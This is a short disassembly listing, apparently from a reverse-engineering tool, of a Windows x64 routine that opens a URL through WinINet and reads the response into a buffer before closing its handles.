mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
je 0x14000159c
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rcx, [rsp + 0x38]
call fcn.1400017b0
nop
mov dword [rsp + 0xa0], esi
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
sub rsi, rbx
lea r9, [rsp + 0xa0]
mov r8d, esi
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000156c
mov eax, dword [rsp + 0xa0]
test eax, eax
je 0x14000156c
lea r9, [rbx + rax]
mov r8, rbx
mov rdx, qword [rdi + 8]
mov rcx, rdi
call fcn.140001990
jmp 0x14000157b
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14000157b
cmp eax, 0x12
jne 0x140001585
cmp dword [rsp + 0xa0], 0
ja 0x140001531
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
test rbx, rbx
je 0x14000159c
mov rcx, rbx
call fcn.140002420
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rdi
add rsp, 0x60
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret